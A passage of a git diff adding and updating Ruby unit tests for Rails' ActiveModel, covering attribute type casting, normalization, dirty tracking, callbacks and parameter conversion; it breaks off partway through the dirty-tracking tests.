@@ -0,0 +1,332 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveModel
+  class AttributeTest < ActiveModel::TestCase
+    class InscribingType
+      def changed_in_place?(raw_old_value, new_value)
+        false
+      end
+
+      def cast(value)
+        "cast(#{value})"
+      end
+
+      def serialize(value)
+        "serialize(#{value})"
+      end
+
+      def deserialize(value)
+        "deserialize(#{value})"
+      end
+    end
+
+    setup do
+      @type = InscribingType.new
+    end
+
+    test "from_database + read type casts from database" do
+      attribute = Attribute.from_database(nil, "a value", @type)
+
+      assert_equal "deserialize(a value)", attribute.value
+    end
+
+    test "from_user + read type casts from user" do
+      attribute = Attribute.from_user(nil, "a value", @type)
+
+      assert_equal "cast(a value)", attribute.value
+    end
+
+    test "reading memoizes the value" do
+      count = 0
+      @type.define_singleton_method(:deserialize) do |value|
+        count += 1
+        value
+      end
+
+      attribute = Attribute.from_database(nil, "whatever", @type)
+
+      attribute.value
+      attribute.value
+      assert_equal 1, count
+    end
+
+    test "reading memoizes falsy values" do
+      count = 0
+      @type.define_singleton_method(:deserialize) do |value|
+        count += 1
+        false
+      end
+
+      attribute = Attribute.from_database(nil, "whatever", @type)
+
+      attribute.value
+      attribute.value
+      assert_equal 1, count
+    end
+
+    test "value_before_type_cast returns the given value" do
+      attribute = Attribute.from_database(nil, "raw value", @type)
+
+      raw_value = attribute.value_before_type_cast
+
+      assert_equal "raw value", raw_value
+    end
+
+    test "from_database + value_for_database type casts to and from database" do
+      attribute = Attribute.from_database(nil, "whatever", @type)
+
+      assert_equal "serialize(deserialize(whatever))", attribute.value_for_database
+    end
+
+    test "from_user + value_for_database type casts from the user to the database" do
+      attribute = Attribute.from_user(nil, "whatever", @type)
+
+      assert_equal "serialize(cast(whatever))", attribute.value_for_database
+    end
+
+    test "from_user + value_for_database uses serialize_cast_value when possible" do
+      @type = Class.new(InscribingType) do
+        include Type::SerializeCastValue
+
+        def serialize_cast_value(value)
+          "serialize_cast_value(#{value})"
+        end
+      end.new
+
+      attribute = Attribute.from_user(nil, "whatever", @type)
+
+      assert_equal "serialize_cast_value(cast(whatever))", attribute.value_for_database
+    end
+
+    test "value_for_database is memoized" do
+      count = 0
+      @type.define_singleton_method(:serialize) do |value|
+        count += 1
+        nil
+      end
+
+      attribute = Attribute.from_user(nil, "whatever", @type)
+
+      attribute.value_for_database
+      attribute.value_for_database
+      assert_equal 1, count
+    end
+
+    test "value_for_database is recomputed when value changes in place" do
+      count = 0
+      @type.define_singleton_method(:serialize) do |value|
+        count += 1
+        nil
+      end
+      @type.define_singleton_method(:changed_in_place?) do |*|
+        true
+      end
+
+      attribute = Attribute.from_user(nil, "whatever", @type)
+
+      attribute.value_for_database
+      attribute.value_for_database
+      assert_equal 2, count
+    end
+
+    test "duping dups the value" do
+      attribute = Attribute.from_database(nil, "a value", @type)
+
+      assert_not_same attribute.value, attribute.dup.value
+    end
+
+    test "duping does not dup the value if it is not dupable" do
+      @type.define_singleton_method(:deserialize) { |value| value }
+      attribute = Attribute.from_database(nil, false, @type)
+
+      assert_same attribute.value, attribute.dup.value
+    end
+
+    test "duping does not eagerly type cast if we have not yet type cast" do
+      deserialize_called = false
+      deserialize_called_with = nil
+      @type.define_singleton_method(:deserialize) do |value|
+        deserialize_called_with = value
+        deserialize_called = true
+      end
+      attribute = Attribute.from_database(nil, "my_attribute_value", @type)
+
+      attribute.dup
+      assert_not deserialize_called, "deserialize should not have been called, but was called with #{deserialize_called_with}"
+    end
+
+    class MyType
+      def cast(value)
+        value + " from user"
+      end
+
+      def deserialize(value)
+        value + " from database"
+      end
+
+      def assert_valid_value(*)
+      end
+    end
+
+    test "with_value_from_user returns a new attribute with the value from the user" do
+      old = Attribute.from_database(nil, "old", MyType.new)
+      new = old.with_value_from_user("new")
+
+      assert_equal "old from database", old.value
+      assert_equal "new from user", new.value
+    end
+
+    test "with_value_from_database returns a new attribute with the value from the database" do
+      old = Attribute.from_user(nil, "old", MyType.new)
+      new = old.with_value_from_database("new")
+
+      assert_equal "old from user", old.value
+      assert_equal "new from database", new.value
+    end
+
+    test "uninitialized attributes yield their name if a block is given to value" do
+      block = proc { |name| name.to_s + "!" }
+      foo = Attribute.uninitialized(:foo, nil)
+      bar = Attribute.uninitialized(:bar, nil)
+
+      assert_equal "foo!", foo.value(&block)
+      assert_equal "bar!", bar.value(&block)
+    end
+
+    test "uninitialized attributes have no value" do
+      assert_nil Attribute.uninitialized(:foo, nil).value
+    end
+
+    test "attributes equal other attributes with the same constructor arguments" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:foo, 1, Type::Integer.new)
+      assert_equal first, second
+    end
+
+    test "attributes do not equal attributes with different names" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:bar, 1, Type::Integer.new)
+      assert_not_equal first, second
+    end
+
+    test "attributes do not equal attributes with different types" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:foo, 1, Type::Float.new)
+      assert_not_equal first, second
+    end
+
+    test "attributes do not equal attributes with different values" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:foo, 2, Type::Integer.new)
+      assert_not_equal first, second
+    end
+
+    test "attributes do not equal attributes of other classes" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_user(:foo, 1, Type::Integer.new)
+      assert_not_equal first, second
+    end
+
+    test "an attribute has not been read by default" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+      assert_not_predicate attribute, :has_been_read?
+    end
+
+    test "an attribute has been read when its value is calculated" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+      attribute.value
+      assert_predicate attribute, :has_been_read?
+    end
+
+    test "an attribute is not changed if it hasn't been assigned or mutated" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+
+      assert_not_predicate attribute, :changed?
+    end
+
+    test "an attribute is changed if it's been assigned a new value" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+      changed = attribute.with_value_from_user(2)
+
+      assert_predicate changed, :changed?
+    end
+
+    test "an attribute is not changed if it's assigned the same value" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+      unchanged = attribute.with_value_from_user(1)
+
+      assert_not_predicate unchanged, :changed?
+    end
+
+    test "an attribute cannot be mutated if it has not been read,
+      and skips expensive calculations" do
+      type_which_raises_from_all_methods = Object.new
+      attribute = Attribute.from_database(:foo, "bar", type_which_raises_from_all_methods)
+
+      assert_not_predicate attribute, :changed_in_place?
+    end
+
+    test "an attribute is changed if it has been mutated" do
+      attribute = Attribute.from_database(:foo, "bar", Type::String.new)
+      attribute.value << "!"
+
+      assert_predicate attribute, :changed_in_place?
+      assert_predicate attribute, :changed?
+    end
+
+    test "an attribute can forget its changes" do
+      attribute = Attribute.from_database(:foo, "bar", Type::String.new)
+      changed = attribute.with_value_from_user("foo")
+      forgotten = changed.forgetting_assignment
+
+      assert_predicate changed, :changed? # Check to avoid a false positive
+      assert_not_predicate forgotten, :changed?
+    end
+
+    test "#forgetting_assignment on an unchanged .from_database attribute re-deserializes its value" do
+      deserialized_value_class = Struct.new(:id) do
+        def initialize_dup(*)
+          self.id = nil # a la ActiveRecord::Base#dup
+        end
+      end
+
+      type = Type::Value.new
+      type.define_singleton_method(:deserialize) do |value|
+        deserialized_value_class.new(value)
+      end
+
+      original = Attribute.from_database(:foo, 123, type)
+      assert_equal 123, original.value.id
+
+      forgotten = original.forgetting_assignment
+      assert_equal 123, forgotten.value.id
+
+      assert_not_same original.value, forgotten.value
+    end
+
+    test "with_value_from_user validates the value" do
+      type = Type::Value.new
+      type.define_singleton_method(:assert_valid_value) do |value|
+        if value == 1
+          raise ArgumentError
+        end
+      end
+
+      attribute = Attribute.from_database(:foo, 1, type)
+      assert_equal 1, attribute.value
+      assert_equal 2, attribute.with_value_from_user(2).value
+      assert_raises ArgumentError do
+        attribute.with_value_from_user(1)
+      end
+    end
+
+    test "with_type preserves mutations" do
+      attribute = Attribute.from_database(:foo, +"", Type::Value.new)
+      attribute.value << "1"
+
+      assert_equal 1, attribute.with_type(Type::Integer.new).value
+    end
+  end
+end
diff --git a/activemodel/test/cases/attributes/normalization_test.rb b/activemodel/test/cases/attributes/normalization_test.rb
new file mode 100644
index 0000000000000..41fa4def52eb8
--- /dev/null
+++ b/activemodel/test/cases/attributes/normalization_test.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class NormalizedAttributeTest < ActiveModel::TestCase
+  class Aircraft
+    include ActiveModel::API
+    include ActiveModel::Attributes
+    include ActiveModel::Attributes::Normalization
+
+    attribute :manufactured_at, :datetime, default: -> { Time.current }
+    attribute :name, :string
+    attribute :wheels_count, :integer, default: 0
+    attribute :wheels_owned_at, :datetime
+  end
+
+  class NormalizedAircraft < Aircraft
+    normalizes :name, with: -> name { name.presence&.titlecase }
+    normalizes :manufactured_at, with: -> time { time.noon }
+
+    attr_accessor :validated_name
+    validate { self.validated_name = name.dup }
+  end
+
+  setup do
+    @time = Time.utc(1999, 12, 31, 12, 34, 56)
+    @aircraft = NormalizedAircraft.new(name: "fly HIGH", manufactured_at: @time)
+  end
+
+  test "normalizes value from validation" do
+    @aircraft.validate!
+
+    assert_equal "Fly High", @aircraft.name
+  end
+
+  test "normalizes value from assignment" do
+    @aircraft.name = "fly HIGHER"
+    assert_equal "Fly Higher", @aircraft.name
+  end
+
+  test "normalizes changed-in-place value before validation" do
+    @aircraft.name.downcase!
+    assert_equal "fly high", @aircraft.name
+
+    @aircraft.valid?
+    assert_equal "Fly High", @aircraft.validated_name
+  end
+
+  test "normalizes value on demand" do
+    @aircraft.name.downcase!
+    assert_equal "fly high", @aircraft.name
+
+    @aircraft.normalize_attribute(:name)
+    assert_equal "Fly High", @aircraft.name
+  end
+
+  test "normalizes value without model" do
+    assert_equal "Titlecase Me", NormalizedAircraft.normalize_value_for(:name, "titlecase ME")
+  end
+
+  test "casts value when no normalization is declared" do
+    assert_equal 6, NormalizedAircraft.normalize_value_for(:wheels_count, "6")
+  end
+
+  test "casts value before applying normalization" do
+    @aircraft.manufactured_at = @time.to_s
+    assert_equal @time.noon, @aircraft.manufactured_at
+  end
+
+  test "ignores nil by default" do
+    assert_nil NormalizedAircraft.normalize_value_for(:name, nil)
+  end
+
+  test "normalizes nil if apply_to_nil" do
+    including_nil = Class.new(Aircraft) do
+      normalizes :name, with: -> name { name&.titlecase || "Untitled" }, apply_to_nil: true
+    end
+
+    assert_equal "Untitled", including_nil.normalize_value_for(:name, nil)
+  end
+
+  test "can stack normalizations" do
+    titlecase_then_reverse = Class.new(NormalizedAircraft) do
+      normalizes :name, with: -> name { name.reverse }
+    end
+
+    assert_equal "esreveR nehT esaceltiT", titlecase_then_reverse.normalize_value_for(:name, "titlecase THEN reverse")
+    assert_equal "Only Titlecase", NormalizedAircraft.normalize_value_for(:name, "ONLY titlecase")
+  end
+
+  test "minimizes number of times normalization is applied" do
+    count_applied = Class.new(Aircraft) do
+      normalizes :name, with: -> name { name.succ }
+    end
+
+    aircraft = count_applied.new(name: "0")
+    assert_equal "1", aircraft.name
+
+    aircraft.name = "0"
+    assert_equal "1", aircraft.name
+
+    aircraft.name.replace("0")
+    assert_equal "0", aircraft.name
+  end
+end
diff --git a/activemodel/test/cases/attributes_dirty_test.rb b/activemodel/test/cases/attributes_dirty_test.rb
new file mode 100644
index 0000000000000..e8a109b81c567
--- /dev/null
+++ b/activemodel/test/cases/attributes_dirty_test.rb
@@ -0,0 +1,201 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class AttributesDirtyTest < ActiveModel::TestCase
+  class DirtyModel
+    include ActiveModel::Model
+    include ActiveModel::Attributes
+    include ActiveModel::Dirty
+    attribute :name, :string
+    attribute :color, :string
+    attribute :size, :integer
+
+    def save
+      changes_applied
+    end
+  end
+
+  setup do
+    @model = DirtyModel.new
+  end
+
+  test "setting attribute will result in change" do
+    assert_not_predicate @model, :changed?
+    assert_not_predicate @model, :name_changed?
+    @model.name = "Ringo"
+    assert_predicate @model, :changed?
+    assert_predicate @model, :name_changed?
+  end
+
+  test "list of changed attribute keys" do
+    assert_equal [], @model.changed
+    @model.name = "Paul"
+    assert_equal ["name"], @model.changed
+  end
+
+  test "changes to attribute values" do
+    assert_not @model.changes["name"]
+    @model.name = "John"
+    assert_equal [nil, "John"], @model.changes["name"]
+  end
+
+  test "checking if an attribute has changed to a particular value" do
+    @model.name = "Ringo"
+    assert @model.name_changed?(from: nil, to: "Ringo")
+    assert_not @model.name_changed?(from: "Pete", to: "Ringo")
+    assert @model.name_changed?(to: "Ringo")
+    assert_not @model.name_changed?(to: "Pete")
+    assert @model.name_changed?(from: nil)
+    assert_not @model.name_changed?(from: "Pete")
+  end
+
+  test "changes accessible through both strings and symbols" do
+    @model.name = "David"
+    assert_not_nil @model.changes[:name]
+    assert_not_nil @model.changes["name"]
+  end
+
+  test "be consistent with symbols arguments after the changes are applied" do
+    @model.name = "David"
+    assert @model.attribute_changed?(:name)
+    @model.save
+    @model.name = "Rafael"
+    assert @model.attribute_changed?(:name)
+  end
+
+  test "attribute mutation" do
+    @model.name = "Yam"
+    @model.save
+    assert_not_predicate @model, :name_changed?
+    @model.name.replace("Hadad")
+    assert_predicate @model, :name_changed?
+  end
+
+  test "resetting attribute" do
+    @model.name = "Bob"
+    @model.restore_name!
+    assert_nil @model.name
+    assert_not_predicate @model, :name_changed?
+  end
+
+  test "setting color to same value should not result in change being recorded" do
+    @model.color = "red"
+    assert_predicate @model, :color_changed?
+    @model.save
+    assert_not_predicate @model, :color_changed?
+    assert_not_predicate @model, :changed?
+    @model.color = "red"
+    assert_not_predicate @model, :color_changed?
+    assert_not_predicate @model, :changed?
+  end
+
+  test "saving should reset model's changed status" do
+    @model.name = "Alf"
+    assert_predicate @model, :changed?
+    @model.save
+    assert_not_predicate @model, :changed?
+    assert_not_predicate @model, :name_changed?
+  end
+
+  test "saving should preserve previous changes" do
+    @model.name = "Jericho Cane"
+    @model.save
+    assert_equal [nil, "Jericho Cane"], @model.previous_changes["name"]
+  end
+
+  test "setting new attributes should not affect previous changes" do
+    @model.name = "Jericho Cane"
+    @model.save
+    @model.name = "DudeFella ManGuy"
+    assert_equal [nil, "Jericho Cane"], @model.name_previous_change
+  end
+
+  test "saving should preserve model's previous changed status" do
+    @model.name = "Jericho Cane"
+    @model.save
+    assert_predicate @model, :name_previously_changed?
+  end
+
+  test "previous value is preserved when changed after save" do
+    assert_equal({}, @model.changed_attributes)
+    @model.name = "Paul"
+    assert_equal({ "name" => nil }, @model.changed_attributes)
+
+    @model.save
+
+    @model.name = "John"
+    assert_equal({ "name" => "Paul" }, @model.changed_attributes)
+  end
+
+  test "changing the same attribute multiple times retains the correct original value" do
+    @model.name = "Otto"
+    @model.save
+    @model.name = "DudeFella ManGuy"
+    @model.name = "Mr. Manfredgensonton"
+    assert_equal ["Otto", "Mr. Manfredgensonton"], @model.name_change
+    assert_equal "Otto", @model.name_was
+  end
+
+  test "using attribute_will_change! with a symbol" do
+    @model.size = 1
+    assert_predicate @model, :size_changed?
+  end
+
+  test "clear_changes_information should reset all changes" do
+    @model.name = "Dmitry"
+    @model.name_changed?
+    @model.save
+    @model.name = "Bob"
+
+    assert_equal [nil, "Dmitry"], @model.previous_changes["name"]
+    assert_equal "Dmitry", @model.changed_attributes["name"]
+
+    @model.clear_changes_information
+
+    assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.previous_changes
+    assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.changed_attributes
+  end
+
+  test "restore_attributes should restore all previous data" do
+    @model.name = "Dmitry"
+    @model.color = "Red"
+    @model.save
+    @model.name = "Bob"
+    @model.color = "White"
+
+    @model.restore_attributes
+
+    assert_not_predicate @model, :changed?
+    assert_equal "Dmitry", @model.name
+    assert_equal "Red", @model.color
+  end
+
+  test "restore_attributes can restore only some attributes" do
+    @model.name = "Dmitry"
+    @model.color = "Red"
+    @model.save
+    @model.name = "Bob"
+    @model.color = "White"
+
+    @model.restore_attributes(["name"])
+
+    assert_predicate @model, :changed?
+    assert_equal "Dmitry", @model.name
+    assert_equal "White", @model.color
+  end
+
+  test "changing the attribute reports a change only when the cast value changes" do
+    @model.size = "2.3"
+    @model.save
+    @model.size = "2.1"
+
+    assert_equal false, @model.changed?
+
+    @model.size = "5.1"
+
+    assert_equal true, @model.changed?
+    assert_equal true, @model.size_changed?
+    assert_equal({ "size" => [2, 5] }, @model.changes)
+  end
+end
diff --git a/activemodel/test/cases/attributes_test.rb b/activemodel/test/cases/attributes_test.rb
new file mode 100644
index 0000000000000..20a8cdffc8fdb
--- /dev/null
+++ b/activemodel/test/cases/attributes_test.rb
@@ -0,0 +1,187 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveModel
+  class AttributesTest < ActiveModel::TestCase
+    class ModelForAttributesTest
+      include ActiveModel::Model
+      include ActiveModel::Attributes
+
+      attribute :integer_field, :integer
+      attribute :string_field, :string
+      attribute :decimal_field, :decimal
+      attribute :string_with_default, :string, default: "default string"
+      attribute :date_field, :date, default: -> { Date.new(2016, 1, 1) }
+      attribute :boolean_field, :boolean
+    end
+
+    class ChildModelForAttributesTest < ModelForAttributesTest
+    end
+
+    class GrandchildModelForAttributesTest < ChildModelForAttributesTest
+      attribute :integer_field, :string
+      attribute :string_field, default: "default string"
+    end
+
+    class ModelWithGeneratedAttributeMethods
+      include ActiveModel::Attributes
+
+      attribute :foo
+    end
+
+    class ModelWithProxiedAttributeMethods
+      include ActiveModel::AttributeMethods
+
+      attribute_method_suffix "="
+
+      define_attribute_method(:foo)
+
+      def attribute=(_, _)
+      end
+    end
+
+    test "models that proxy attributes do not conflict with models with generated methods" do
+      ModelWithGeneratedAttributeMethods.new
+
+      model = ModelWithProxiedAttributeMethods.new
+
+      assert_nothing_raised do
+        model.foo = "foo"
+      end
+    end
+
+    test "properties assignment" do
+      data = ModelForAttributesTest.new(
+        integer_field: "2.3",
+        string_field: "Rails FTW",
+        decimal_field: "12.3",
+        boolean_field: "0"
+      )
+
+      assert_equal 2, data.integer_field
+      assert_equal "Rails FTW", data.string_field
+      assert_equal BigDecimal("12.3"), data.decimal_field
+      assert_equal "default string", data.string_with_default
+      assert_equal Date.new(2016, 1, 1), data.date_field
+      assert_equal false, data.boolean_field
+
+      data.integer_field = 10
+      data.string_with_default = nil
+      data.boolean_field = "1"
+
+      assert_equal 10, data.integer_field
+      assert_nil data.string_with_default
+      assert_equal true, data.boolean_field
+    end
+
+    test "reading attributes" do
+      data = ModelForAttributesTest.new(
+        integer_field: 1.1,
+        string_field: 1.1,
+        decimal_field: 1.1,
+        boolean_field: 1.1
+      )
+
+      expected_attributes = {
+        integer_field: 1,
+        string_field: "1.1",
+        decimal_field: BigDecimal("1.1"),
+        string_with_default: "default string",
+        date_field: Date.new(2016, 1, 1),
+        boolean_field: true
+      }.stringify_keys
+
+      assert_equal expected_attributes, data.attributes
+    end
+
+    test "reading attribute names" do
+      names = [
+        "integer_field",
+        "string_field",
+        "decimal_field",
+        "string_with_default",
+        "date_field",
+        "boolean_field"
+      ]
+
+      assert_equal names, ModelForAttributesTest.attribute_names
+      assert_equal names, ModelForAttributesTest.new.attribute_names
+    end
+
+    test "nonexistent attribute" do
+      assert_raise ActiveModel::UnknownAttributeError do
+        ModelForAttributesTest.new(nonexistent: "nonexistent")
+      end
+    end
+
+    test "children inherit attributes" do
+      data = ChildModelForAttributesTest.new(integer_field: "4.4")
+
+      assert_equal 4, data.integer_field
+    end
+
+    test "children can override parents" do
+      klass = GrandchildModelForAttributesTest
+
+      assert_instance_of Type::String, klass.attribute_types["integer_field"]
+      assert_instance_of Type::String, klass.attribute_types["string_field"]
+
+      data = GrandchildModelForAttributesTest.new(integer_field: "4.4")
+
+      assert_equal "4.4", data.integer_field
+      assert_equal "default string", data.string_field
+    end
+
+    test "attributes with proc defaults can be marshalled" do
+      data = ModelForAttributesTest.new
+      attributes = data.instance_variable_get(:@attributes)
+      round_tripped = Marshal.load(Marshal.dump(data))
+      new_attributes = round_tripped.instance_variable_get(:@attributes)
+
+      assert_equal attributes, new_attributes
+    end
+
+    test "attributes can be dup-ed" do
+      data = ModelForAttributesTest.new
+      data.integer_field = 1
+
+      duped = data.dup
+
+      assert_equal 1, data.integer_field
+      assert_equal 1, duped.integer_field
+
+      duped.integer_field = 2
+
+      assert_equal 1, data.integer_field
+      assert_equal 2, duped.integer_field
+    end
+
+    test "can't modify attributes if frozen" do
+      data = ModelForAttributesTest.new
+      data.freeze
+      assert_predicate data, :frozen?
+      assert_raise(FrozenError) { data.integer_field = 1 }
+    end
+
+    test "attributes can be frozen again" do
+      data = ModelForAttributesTest.new
+      data.freeze
+      assert_nothing_raised { data.freeze }
+    end
+
+    test "unknown type error is raised" do
+      assert_raise(ArgumentError) do
+        ModelForAttributesTest.attribute :foo, :unknown
+      end
+    end
+
+    test ".type_for_attribute supports attribute aliases" do
+      with_alias = Class.new(ModelForAttributesTest) do
+        alias_attribute :integer_field, :x
+      end
+
+      assert_equal with_alias.type_for_attribute(:integer_field), with_alias.type_for_attribute(:x)
+    end
+  end
+end
diff --git a/activemodel/test/cases/callbacks_test.rb b/activemodel/test/cases/callbacks_test.rb
index f85cd7dec4c9a..b3612e4f583bf 100644
--- a/activemodel/test/cases/callbacks_test.rb
+++ b/activemodel/test/cases/callbacks_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class CallbacksTest < ActiveModel::TestCase
@@ -53,51 +55,63 @@ def create
   test "complete callback chain" do
     model = ModelCallbacks.new
     model.create
-    assert_equal model.callbacks, [ :before_create, :before_around_create, :create,
-                                    :after_around_create, :after_create, :final_callback]
+    assert_equal \
+      [:before_create, :before_around_create, :create, :after_around_create, :after_create, :final_callback],
+      model.callbacks
   end
 
   test "the callback chain is not halted when around or after callbacks return false" do
     model = ModelCallbacks.new
     model.create
-    assert_equal model.callbacks.last, :final_callback
+    assert_equal :final_callback, model.callbacks.last
   end
 
   test "the callback chain is not halted when a before callback returns false)" do
     model = ModelCallbacks.new(before_create_returns: false)
     model.create
-    assert_equal model.callbacks.last, :final_callback
+    assert_equal :final_callback, model.callbacks.last
   end
 
   test "the callback chain is halted when a callback throws :abort" do
     model = ModelCallbacks.new(before_create_throws: :abort)
     model.create
-    assert_equal model.callbacks, [:before_create]
+    assert_equal [:before_create], model.callbacks
   end
 
   test "after callbacks are not executed if the block returns false" do
     model = ModelCallbacks.new(valid: false)
     model.create
-    assert_equal model.callbacks, [ :before_create, :before_around_create,
-                                    :create, :after_around_create]
+    assert_equal \
+      [:before_create, :before_around_create, :create, :after_around_create],
+      model.callbacks
   end
 
   test "only selects which types of callbacks should be created" do
-    assert !ModelCallbacks.respond_to?(:before_initialize)
-    assert !ModelCallbacks.respond_to?(:around_initialize)
+    assert_not_respond_to ModelCallbacks, :before_initialize
+    assert_not_respond_to ModelCallbacks, :around_initialize
     assert_respond_to ModelCallbacks, :after_initialize
   end
 
   test "only selects which types of callbacks should be created from an array list" do
     assert_respond_to ModelCallbacks, :before_multiple
     assert_respond_to ModelCallbacks, :around_multiple
-    assert !ModelCallbacks.respond_to?(:after_multiple)
+    assert_not_respond_to ModelCallbacks, :after_multiple
   end
 
   test "no callbacks should be created" do
-    assert !ModelCallbacks.respond_to?(:before_empty)
-    assert !ModelCallbacks.respond_to?(:around_empty)
-    assert !ModelCallbacks.respond_to?(:after_empty)
+    assert_not_respond_to ModelCallbacks, :before_empty
+    assert_not_respond_to ModelCallbacks, :around_empty
+    assert_not_respond_to ModelCallbacks, :after_empty
+  end
+
+  test "the :if option array should not be mutated by an after callback" do
+    opts = []
+
+    Class.new(ModelCallbacks) do
+      after_create(if: opts) { }
+    end
+
+    assert_empty opts
   end
 
   class Violin
@@ -110,7 +124,7 @@ def initialize
     def callback1; history << "callback1"; end
     def callback2; history << "callback2"; end
     def create
-      run_callbacks(:create) {}
+      run_callbacks(:create) { }
       self
     end
   end
diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb
index 4a93347abcf56..eb134595a039e 100644
--- a/activemodel/test/cases/conversion_test.rb
+++ b/activemodel/test/cases/conversion_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/contact"
 require "models/helicopter"
@@ -16,6 +18,10 @@ class ConversionTest < ActiveModel::TestCase
     assert_equal [1], Contact.new(id: 1).to_key
   end
 
+  test "to_key doesn't double-wrap composite `id`s" do
+    assert_equal ["abc", "xyz"], Contact.new(id: ["abc", "xyz"]).to_key
+  end
+
   test "to_param default implementation returns nil for new records" do
     assert_nil Contact.new.to_param
   end
@@ -28,6 +34,10 @@ class ConversionTest < ActiveModel::TestCase
     assert_equal "abc-xyz", Contact.new(id: ["abc", "xyz"]).to_param
   end
 
+  test "to_param returns nil if composite id is incomplete" do
+    assert_nil Contact.new(id: [1, nil]).to_param
+  end
+
   test "to_param returns nil if to_key is nil" do
     klass = Class.new(Contact) do
       def persisted?
@@ -47,4 +57,29 @@ def persisted?
   test "to_partial_path handles namespaced models" do
     assert_equal "helicopter/comanches/comanche", Helicopter::Comanche.new.to_partial_path
   end
+
+  test "to_partial_path handles non-standard model_name" do
+    assert_equal "attack_helicopters/ah-64", Helicopter::Apache.new.to_partial_path
+  end
+
+  test "#to_param_delimiter allows redefining the delimiter used in #to_param" do
+    old_delimiter = Contact.param_delimiter
+    Contact.param_delimiter = "_"
+    assert_equal("abc_xyz", Contact.new(id: ["abc", "xyz"]).to_param)
+  ensure
+    Contact.param_delimiter = old_delimiter
+  end
+
+  test "#to_param_delimiter is defined per class" do
+    old_contact_delimiter = Contact.param_delimiter
+    custom_contract = Class.new(Contact)
+
+    Contact.param_delimiter = "_"
+    custom_contract.param_delimiter = ";"
+
+    assert_equal("abc_xyz", Contact.new(id: ["abc", "xyz"]).to_param)
+    assert_equal("abc;xyz", custom_contract.new(id: ["abc", "xyz"]).to_param)
+  ensure
+    Contact.param_delimiter = old_contact_delimiter
+  end
 end
diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb
index fdd18d7601234..a064ea4d6f68a 100644
--- a/activemodel/test/cases/dirty_test.rb
+++ b/activemodel/test/cases/dirty_test.rb
@@ -1,49 +1,45 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "active_support/json"
 
 class DirtyTest < ActiveModel::TestCase
   class DirtyModel
+    include ActiveModel::API
     include ActiveModel::Dirty
-    define_attribute_methods :name, :color, :size
+    define_attribute_methods :name, :color, :size, :status
 
     def initialize
       @name = nil
       @color = nil
       @size = nil
+      @status = "initialized"
     end
 
-    def name
-      @name
-    end
+    attr_reader :name, :color, :size, :status
 
     def name=(val)
       name_will_change!
       @name = val
     end
 
-    def color
-      @color
-    end
-
     def color=(val)
       color_will_change! unless val == @color
       @color = val
     end
 
-    def size
-      @size
-    end
-
     def size=(val)
       attribute_will_change!(:size) unless val == @size
       @size = val
     end
 
-    def save
-      changes_applied
+    def status=(val)
+      status_will_change! unless val == @status
+      @status = val
     end
 
-    def reload
-      clear_changes_information
+    def save
+      changes_applied
     end
   end
 
@@ -52,11 +48,11 @@ def reload
   end
 
   test "setting attribute will result in change" do
-    assert !@model.changed?
-    assert !@model.name_changed?
+    assert_not_predicate @model, :changed?
+    assert_not_predicate @model, :name_changed?
     @model.name = "Ringo"
-    assert @model.changed?
-    assert @model.name_changed?
+    assert_predicate @model, :changed?
+    assert_predicate @model, :name_changed?
   end
 
   test "list of changed attribute keys" do
@@ -66,7 +62,7 @@ def reload
   end
 
   test "changes to attribute values" do
-    assert !@model.changes["name"]
+    assert_not @model.changes["name"]
     @model.name = "John"
     assert_equal [nil, "John"], @model.changes["name"]
   end
@@ -96,86 +92,108 @@ def reload
   end
 
   test "attribute mutation" do
-    @model.instance_variable_set("@name", "Yam")
-    assert !@model.name_changed?
+    @model.instance_variable_set("@name", +"Yam")
+    assert_not_predicate @model, :name_changed?
     @model.name.replace("Hadad")
-    assert !@model.name_changed?
+    assert_not_predicate @model, :name_changed?
     @model.name_will_change!
     @model.name.replace("Baal")
-    assert @model.name_changed?
+    assert_predicate @model, :name_changed?
   end
 
   test "resetting attribute" do
     @model.name = "Bob"
     @model.restore_name!
     assert_nil @model.name
-    assert !@model.name_changed?
+    assert_not_predicate @model, :name_changed?
   end
 
   test "setting color to same value should not result in change being recorded" do
     @model.color = "red"
-    assert @model.color_changed?
+    assert_predicate @model, :color_changed?
     @model.save
-    assert !@model.color_changed?
-    assert !@model.changed?
+    assert_not_predicate @model, :color_changed?
+    assert_not_predicate @model, :changed?
     @model.color = "red"
-    assert !@model.color_changed?
-    assert !@model.changed?
+    assert_not_predicate @model, :color_changed?
+    assert_not_predicate @model, :changed?
   end
 
   test "saving should reset model's changed status" do
     @model.name = "Alf"
-    assert @model.changed?
+    assert_predicate @model, :changed?
     @model.save
-    assert !@model.changed?
-    assert !@model.name_changed?
+    assert_not_predicate @model, :changed?
+    assert_not_predicate @model, :name_changed?
   end
 
   test "saving should preserve previous changes" do
     @model.name = "Jericho Cane"
+    @model.status = "waiting"
     @model.save
     assert_equal [nil, "Jericho Cane"], @model.previous_changes["name"]
+    assert_equal ["initialized", "waiting"], @model.previous_changes["status"]
   end
 
   test "setting new attributes should not affect previous changes" do
     @model.name = "Jericho Cane"
+    @model.status = "waiting"
     @model.save
     @model.name = "DudeFella ManGuy"
+    @model.status = "finished"
     assert_equal [nil, "Jericho Cane"], @model.name_previous_change
